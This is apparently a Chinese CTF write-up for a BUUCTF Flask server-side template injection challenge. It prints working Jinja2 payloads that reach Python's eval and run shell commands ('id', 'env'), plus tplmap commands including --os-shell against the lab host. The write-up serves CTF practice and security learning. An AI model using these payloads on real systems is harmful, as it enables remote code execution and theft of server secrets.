buuctf [Flask]SSTI (tplmap)

漏洞简介

SSTI即服务端模版注入攻击。由于程序员代码编写不当,导致用户输入可以修改服务端模版的执行逻辑,从而造成XSS,任意文件读取,代码执行等一系列问题。

复现过程

访问http://node3.buuoj.cn:29153/?name={{2*2}}

说明SSTI漏洞存在。

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__('os').popen('id').read()') }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %}

打印环境变量

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__('os').popen('env').read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}{% endif %}{% endfor %}

拿到flag

然后还有一个tplmap脚本

python tplmap.py -u “http://node3.buuoj.cn:29153/?name=1”

python tplmap.py -u “http://node3.buuoj.cn:29153/?name=1” --os-shell

env打印环境变量

(0)

相关推荐

  • python测试开发django-116.Paginator分页器页数大时显示省略号...

    前言 使用django自带的Paginator分页器集合bootstrap的pagination控件可以实现分页功能, 如果页数较大的时候,希望能显示省略号+当前页,这样看起来更美观一点. 自定义分页 ...

  • 按键精灵 脚本

    现在看到很多朋友都不明白VBS,但我也没有时间全部写完,所以一天写一些,边写边和大家交流,也希望有朋友能接着写或指出我的错误. 今天我就从总体上对VBS进行介绍,希望能给大家一个直观的印象.另外,讲解 ...

  • 关于Flask SSTI,解锁你不知道的新姿势

    前言 本文主要介绍笔者在学习Flask SSTI相关知识时,无意中解锁了新姿势.在研究原理后,从中挖掘出新的奇怪知识点~ 前置知识 Flask和SSTI介绍 Flask是一个使用Python编写的轻量 ...

  • flask爱家租房项目开发(一)

    目录 需求文档 创建工程目录以及flask配置 配置日志信息 数据库设计与迁移 静态文件的配置,使浏览器可以正常访问文件 csrf 防护机制 需求文档 需求功能 1. 主页     1.1 最多5个房 ...

  • Flask框架从入门到精通之模板表单(二十) | 码农网

    内容简介:当前端使用form表单进行参数传递时候,前端一般都会用js来校验用户输入的参数是否合法.作为后端,不能依赖前端的校验.要在前端校验的基础上在进行一遍校验,防止程序出现异常. 当参数过多时,我 ...

  • 【保姆级】Python项目(Flask网页)部署到Docker的完整过程(文末送书)

    大家好,我是辰哥~~~(文末包邮送三本数据类书籍) 前提:相信看到这篇文章的读者应该已经学会了Docker的安装以及Docker的基本使用,如果还不会的可以参考我之前的文章进行详细学习! 1.安装版: ...

  • 基于Flask的 api(一)

    Flask是一个基于Python开发的微型web框架 使用Flask实现简单的 api 安装 pip install flask flask版本 import flaskprint(flask.__v ...

  • 基于Flask的 api(二)

    基于Flask的 api(二) 使用flask 构造服务的方法有: (1)利用路由实现 (2)利用flask的扩展插件实现 利用路由实现REST API 1.GET 获取资源 获取列表 from fl ...

  • 脊疗的常用手法(图文)

    在脊椎疗法中,有许多颇具特色的手法,其中捏脊疗法.指拨脊背疗法.整脊疗法是最为常用的3种手法.我们在治疗时,可以针对患者不同的病症和体质而采用不同的手法,做到辨证施治,这样能取得最佳的治疗效果.此外, ...

  • 古文阅读-去私(吕不韦)

    天无私覆也,地无私载也,日月无私烛也,四时无私行也,行其德而万物得遂长焉.黄帝言曰:"声禁重,色禁重,衣禁重,香禁重,味禁重,室禁重."尧有子十人,不与其子而授舜:舜有子九人,不与 ...